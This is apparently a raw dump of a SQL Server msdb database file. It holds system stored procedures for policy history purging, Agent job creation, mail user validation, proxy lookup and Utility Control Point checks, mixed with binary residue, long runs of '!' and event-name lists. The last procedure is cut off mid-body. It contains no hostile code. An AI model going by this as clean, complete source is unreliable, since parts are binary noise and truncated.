	DECLARE @cutoff_date datetime;
	SET @cutoff_date = DATEADD(day, -@retention_interval_in_days, GETDATE());

    -- delete old policy history records
    BEGIN TRANSACTION
    
    DELETE d 
    FROM msdb.dbo.syspolicy_policy_execution_history_details_internal d
    INNER JOIN msdb.dbo.syspolicy_policy_execution_history_internal h ON d.history_id = h.history_id
    INNER JOIN msdb.dbo.syspolicy_policies p ON h.policy_id = p.policy_id
    WHERE h.end_date < @cutoff_date AND (p.is_system = 0 OR p.is_system = @include_system)
    
    DELETE h
    FROM msdb.dbo.syspolicy_policy_execution_history_internal h
    INNER JOIN msdb.dbo.syspolicy_policies p ON h.policy_id = p.policy_id
    WHERE h.end_date < @cutoff_date AND (p.is_system = 0 OR p.is_system = @include_system)
    
    COMMIT TRANSACTION
    
    -- delete policy subscriptions that refer to the nonexistent databases
    DELETE s
    FROM msdb.dbo.syspolicy_policy_category_subscriptions_internal s
    LEFT OUTER JOIN master.sys.databases d ON s.target_object = d.name
    WHERE s.target_type = 'DATABASE' AND d.database_id IS NULL
    
    RETURN 0;
END
0 8
 
CREATE PROCEDURE [dbo].[sp_sysutility_ucp_create]
WITH EXECUTE AS OWNER
AS
BEGIN
    /* Validate that the UCP can be created on the local instance. */
    EXEC [dbo].[sp_sysutility_ucp_validate_prerequisites]
END 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!q<`<M0O@ 8
CREATE PROCEDURE sp_enum_proxy_for_subsystem
   @proxy_id      int = NULL,
   @proxy_name    sysname = NULL,
   -- must specify only one of above parameter to identify the proxy or none
   @subsystem_id  int = NULL,
   @subsystem_name sysname = NULL
   -- must specify only one of above parameter to identify the subsystem or none
AS
BEGIN
   DECLARE @retval   INT
   SET NOCOUNT ON

   -- Remove any leading/trailing spaces from parameters
   SELECT @subsystem_name          = LTRIM(RTRIM(@subsystem_name))
   SELECT @proxy_name              = LTRIM(RTRIM(@proxy_name))

  -- Turn [nullable] empty string parameters into NULLs
  IF @subsystem_name    = '' SELECT @subsystem_name = NULL
  IF @proxy_name         = '' SELECT @proxy_name = NULL

   IF @proxy_name IS NOT NULL OR @proxy_id IS NOT NULL
   BEGIN
      EXECUTE @retval = sp_verify_proxy_identifiers '@proxy_name',
                                          '@proxy_id',
                                          @proxy_name OUTPUT,
                                          @proxy_id   OUTPUT
      IF (@retval <> 0)
   RETURN(1) -- Failure
   END

   IF @subsystem_name IS NOT NULL OR @subsystem_id IS NOT NULL
   BEGIN
      EXECUTE @retval = sp_verify_subsystem_identifiers '@subsystem_name',
                                       '@subsystem_id',
                                       @subsystem_name OUTPUT,
                                       @subsystem_id   OUTPUT
      IF (@retval <> 0)
      RETURN(1) -- Failure
   END

  SELECT ps.subsystem_id AS subsystem_id, s.subsystem AS subsystem_name, ps.proxy_id AS proxy_id, p.name AS proxy_name
   FROM sysproxysubsystem ps JOIN sysproxies p ON ps.proxy_id = p.proxy_id
  JOIN syssubsystems s ON ps.subsystem_id = s.subsystem_id
   WHERE
        ISNULL(@subsystem_id, ps.subsystem_id) = ps.subsystem_id AND
        ISNULL(@proxy_id,     ps.proxy_id    ) = ps.proxy_id     
END
0kK( +8(getdate())0_ P8
=h>G0ze \8CREATE PROCEDURE [dbo].[sp_syspolicy_purge_health_state]
    @target_tree_root_with_id nvarchar(400) = NULL
AS
BEGIN
	DECLARE @retval_check int;
	EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole';
	IF ( 0!= @retval_check)
	BEGIN
		RETURN @retval_check;
	END
	
	IF (@target_tree_root_with_id IS NULL)
	BEGIN
	    DELETE FROM msdb.dbo.syspolicy_system_health_state_internal;
	END
	ELSE
	BEGIN
	    DECLARE @target_mask nvarchar(801);
	    SET @target_mask = @target_tree_root_with_id;
	    -- we need to escape all the characters that can be part of the 
	    -- LIKE pattern
	    SET @target_mask = REPLACE(@target_mask, '[', '\[');
	    SET @target_mask = REPLACE(@target_mask, ']', '\]');
	    SET @target_mask = REPLACE(@target_mask, '_', '\_');
	    SET @target_mask = REPLACE(@target_mask, '%', '\%');
	    SET @target_mask = @target_mask + '%';
	    DELETE FROM msdb.dbo.syspolicy_system_health_state_internal
	        WHERE target_query_expression_with_id LIKE @target_mask ESCAPE '\';
	END
	
	RETURN 0;
END
0P[ 	8
 
CREATE PROCEDURE [dbo].[sp_sysutility_mi_enroll]
WITH EXECUTE AS OWNER
AS
BEGIN
    /* Validate that the local instance can be managed by a UCP. */
    EXEC [dbo].[sp_sysutility_mi_validate_enrollment_preconditions]
END 
0&Q} %8((0))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!E
`<JH0; @
8CREATE PROCEDURE [dbo].[sp_validate_user]
    @send_request_user sysname,
    @user_sid varbinary(85) OUTPUT
  WITH EXECUTE AS 'dbo'
AS
BEGIN
    SET NOCOUNT ON
    -- And make sure ARITHABORT is on. This is the default for yukon DB's
    SET ARITHABORT ON

    declare @groupSid varbinary(85)
    declare @temp table
    ([account name] sysname, 
    [type] char(8),
    [privilege] char(9),
    [mapped login name] sysname,
    [permission path] sysname null)

    declare @sidlist table
    ([account name] sysname,
     [accountsid] varbinary(85) null,
     [permission path] sysname null)

    SET @user_sid = NULL
    SET @groupSid = NULL

    -- Lookup the Windows Group membership, if any, that grants this
    -- user access to SQL Server. xp_logininfo may fail if the sql
    -- server service account cannot talk to the domain controller to
    -- validate the windows username, or it may fail if the
    -- @send_request_user is not a valid windows user or group name.
    BEGIN TRY 
        insert @temp exec master.dbo.xp_logininfo @send_request_user, 'all'
        -- For a given account name, Get account name -> group accountsid mapping to a temp table variable
        insert @sidlist
            select [account name], suser_sid([permission path]),[permission path]
            from @temp
    END TRY
    BEGIN CATCH
        RETURN 2
    END CATCH

    -- for a given account name, there has to be atleast one account sid that is not null and
    -- there has to be atleast one mail profile for the list of account sids
    IF ((EXISTS(SELECT [account name] 
                FROM @sidlist
                WHERE accountsid is not NULL)
    AND (EXISTS(SELECT profile_id 
                FROM msdb.dbo.sysmail_principalprofile pp, @sidlist s
                WHERE s.accountsid = pp.principal_sid))))

    BEGIN
        -- Get the first account's sid that meets following criteria
        --  1) return first default profile (if available)
        --  2) if no default profile is  defined, then return the first non-default profile for this account
        SELECT TOP 1  @groupSid = accountsid 
        FROM @sidlist s, msdb.dbo.sysmail_principalprofile pp
        WHERE s.accountsid is not NULL
        AND s.accountsid = pp.principal_sid
        ORDER BY is_default DESC
    END

    -- Lookup a default profile for the Group. If there is one,
    -- then use the group's mail profile.
    IF (@groupSid IS NOT NULL)
    BEGIN
        SET @user_sid = @groupSid
        RETURN 0
    END
    RETURN 1
END
0AA 8CREATE PROCEDURE [dbo].[sp_syspolicy_create_purge_job]
AS
BEGIN
DECLARE @retval_check int;
EXECUTE @retval_check = [dbo].[sp_syspolicy_check_membership] 'PolicyAdministratorRole';
IF ( 0!= @retval_check)
BEGIN
	RETURN @retval_check;
END

-- create a policy history retention maintenance job
-- first check if this job already exists 
IF EXISTS (SELECT * 
            FROM msdb.dbo.syspolicy_configuration c
            WHERE c.name = 'PurgeHistoryJobGuid')
BEGIN
    RETURN;
END

BEGIN TRANSACTION;
DECLARE @ReturnCode INT;
SELECT @ReturnCode = 0;
DECLARE @job_name sysname;
-- create unique job name
SET @job_name = N'syspolicy_purge_history';
WHILE (EXISTS (SELECT * FROM msdb..sysjobs WHERE name = @job_name))
BEGIN
	SET @job_name = N'syspolicy_purge_history_' + RIGHT(STR(FLOOR(RAND() * 100000000)),8);
END

DECLARE @sa_account_name sysname
SET @sa_account_name = SUSER_Name(0x1)

DECLARE @jobId BINARY(16);
EXEC @ReturnCode =  msdb.dbo.sp_add_job 
        @job_name=@job_name, 
		@enabled=1, 
		@notify_level_eventlog=0, 
		@notify_level_email=0, 
		@notify_level_netsend=0, 
		@notify_level_page=0, 
		@delete_level=0, 
		@owner_login_name=@sa_account_name, 
		@job_id = @jobId OUTPUT;
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback;

EXEC @ReturnCode = msdb.dbo.sp_add_jobstep 
        @job_id=@jobId, 
        @step_name=N'Verify that automation is enabled.', 
		@step_id=1, 
		@cmdexec_success_code=0, 
		@on_success_action=3, 
		@on_success_step_id=0, 
		@on_fail_action=1, 
		@on_fail_step_id=0, 
		@retry_attempts=0, 
		@retry_interval=0, 
		@os_run_priority=0, 
		@subsystem=N'TSQL', 
		@command=N'IF (msdb.dbo.fn_syspolicy_is_automation_enabled() != 1)
        BEGIN
            RAISERROR(34022, 16, 1)
        END', 
		@database_name=N'master', 
		@flags=0;
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback

EXEC @ReturnCode = msdb.dbo.sp_add_jobstep 
        @job_id=@jobId, 
        @step_name=N'Purge history.', 
		@step_id=2, 
		@cmdexec_success_code=0, 
		@on_success_action=3, 
		@on_success_step_id=0, 
		@on_fail_action=2, 
		@on_fail_step_id=0, 
		@retry_attempts=0, 
		@retry_interval=0, 
		@os_run_priority=0, 
		@subsystem=N'TSQL', 
		@command=N'EXEC msdb.dbo.sp_syspolicy_purge_history', 
		@database_name=N'master', 
		@flags=0;
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback;

DECLARE @command nvarchar(1000);
SET @command = N'if (''$(ESCAPE_SQUOTE(INST))'' -eq ''MSSQLSERVER'') {$a = ''\DEFAULT''} ELSE {$a = ''''};
(Get-Item SQLSERVER:\SQLPolicy\$(ESCAPE_NONE(SRVR))$a).EraseSystemHealthPhantomRecords()'

EXEC @ReturnCode = msdb.dbo.sp_add_jobstep 
        @job_id=@jobId, 
        @step_name=N'Erase Phantom System Health Records.', 
		@step_id=3, 
		@cmdexec_success_code=0, 
		@on_success_action=1, 
		@on_success_step_id=0, 
		@on_fail_action=2, 
		@on_fail_step_id=0, 
		@retry_attempts=0, 
		@retry_interval=0, 
		@os_run_priority=0, 
		@subsystem=N'PowerShell', 
		@command=@command, 
		@database_name=N'master', 
		@flags=0;
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback;

EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1;
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback;

EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = @@SERVERNAME;
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback;

-- run this job every day at 2AM
EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule 
        @job_id=@jobId, 
        @name=N'syspolicy_purge_history_schedule', 
		@enabled=1, 
		@freq_type=4, 
		@freq_interval=1, 
		@freq_subday_type=1, 
		@freq_subday_interval=0, 
		@freq_relative_interval=0, 
		@freq_recurrence_factor=0, 
		@active_start_date=20080101, 
		@active_end_date=99991231, 
		@active_start_time=20000, 
		@active_end_time=235959;
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback;

INSERT INTO [msdb].[dbo].[syspolicy_configuration_internal] (name, current_value)
VALUES (N'PurgeHistoryJobGuid', @jobId);

COMMIT TRANSACTION;
RETURN;

QuitWithRollback:
    IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION;
END
07 8
 
CREATE PROCEDURE [dbo].[sp_sysutility_mi_validate_enrollment_preconditions]
WITH EXECUTE AS OWNER
AS
BEGIN
    /* Get the Edition value */
    DECLARE @edition NVARCHAR(64)
    SELECT @edition = Convert(NVARCHAR, SERVERPROPERTY('edition'))

    /* Check SQLBOOT to ensure this instance edition can be used as a UCP. */
    DECLARE @sqlbootvalue int

    EXEC @sqlbootvalue = master.dbo.xp_qv '3090395820', @@SERVICENAME
    IF (@sqlbootvalue = 2)
        RAISERROR ('Instance can be managed by a Utility Control Point.', 0, 1) WITH NOWAIT;
    ELSE
        RAISERROR(37005, -1, -1, @edition)
        RETURN(1)
END 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
A`x<
Pϔ+0<<8z "0<<8z "0<u\{ "0<u\{ "0<ro| "0<ro| "0<| "0<|"0<x} "0<K "0<K "0F. 80F. 80F/ 80FT:0 80F^1 80FƂ2 80F8˳4 80Fq5 80F6 80FFf8 80F.A 80FaD 80FaD 80FN 80FO 80FP 80F+P 80Fd(Q 80F.DR 80FsBR 80FLR 80FXR8S 80FpS 80Fv,T 80FT 80Fʚ U 80FHU 80F)V 80F)V 80FݳV 80FW 80FW` 80F{a 80F&Kf 80Fi 80Fi 80F\i 80F!s 80F#2z 80F#2z 80F!H&{ 80FW~ 80FW~ 80<ro|$_h6\__L=6W<dR<<v,<[BB@I;A9{ASAlt*AXo'>U@?@@?@@?@@?@@?@?!A?"@?$ A?%@?&??)@?3@?>@@?@@@?A@@?E@?J@?M@?S@?X_0<ro| "0<ro|$_i6\__.<,,I;ABI;Ay`1|BwYH#hHwK	;	j				2



0??CALTER_APPLICATION_ROLE0???ALTER_ASYMMETRIC_KEY0 A?OALTER_AUTHORIZATION_DATABASE0@?KALTER_AUTHORIZATION_SERVER0??3ALTER_DATABASE0@?3ALTER_ENDPOINT0@?3ALTER_FUNCTION0??-ALTER_LOGIN0@?5ALTER_PROCEDURE0??=ALTER_RESOURCE_POOL0??+ALTER_ROLE0PA?/ALTER_SCHEMA0??KALTER_SEARCH_PROPERTY_LIST0??3ALTER_SEQUENCE0??9ALTER_SERVER_ROLE0@?-ALTER_TABLE0@?+ALTER_USER0@?+ALTER_VIEW0???ALTER_WORKLOAD_GROUP0??MALTER_XML_SCHEMA_COLLECTION0@?OAUDIT_SERVER_OPERATION_EVENT0??ECREATE_APPLICATION_ROLE0??ACREATE_ASYMMETRIC_KEY0??5CREATE_DATABASE0@?5CREATE_ENDPOINT0@?5CREATE_FUNCTION0??/CREATE_LOGIN0@?7CREATE_PROCEDURE0???CREATE_RESOURCE_POOL0??-CREATE_ROLE0??1CREATE_SCHEMA0??MCREATE_SEARCH_PROPERTY_LIST0??5CREATE_SEQUENCE0??;CREATE_SERVER_ROLE0??3CREATE_SYNONYM0@?/CREATE_TABLE0??-CREATE_TYPE0@?-CREATE_USER0@?-CREATE_VIEW0??ACREATE_WORKLOAD_GROUP0??OCREATE_XML_SCHEMA_COLLECTION0??1DROP_ENDPOINT00A?#RENAME0??=SAC_ENDPOINT_CHANGE
((tALTER_APPLICATION_ROLEUTHORIZATION_DATABASEPROCEDURESCHEMATABLEVIEWCREATE_DATABASESERVER_ROLEUSERDROP_ENDPOINTRENAME@#	+4:?CJ	+R]
an_0<K "0<S{ "0<K$_\?@?@'??0<K$n\??B?B@s0??kAlwaysOnAgAutomaticFailoverHealthCondition((*AlwaysOnAgAutomaticFailoverHealthCondition@*0<K "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!hJ,xZ<jL.z\> lN0SpN,
1`<FS_i0L 8CREATE PROCEDURE sp_reassign_proxy
	@current_proxy_id [int] = NULL,  -- must specify either @current_proxy_id or @current_proxy_name 
	@current_proxy_name [sysname] = NULL, 
	@target_proxy_id [int] = NULL,  -- must specify either @target_proxy_id or @target_proxy_name 
	@target_proxy_name [sysname] = NULL -- N'' is a special case to allow change of an existing proxy as NULL (run job step in sql agent service account context)
AS
BEGIN
    DECLARE @retval   INT
    SET NOCOUNT ON
    
    -- validate current proxy id
    EXECUTE @retval = sp_verify_proxy_identifiers '@current_proxy_name',
                                                 '@current_proxy_id',
                                                @current_proxy_name OUTPUT,
                                                 @current_proxy_id   OUTPUT

    IF (@retval <> 0)
    BEGIN
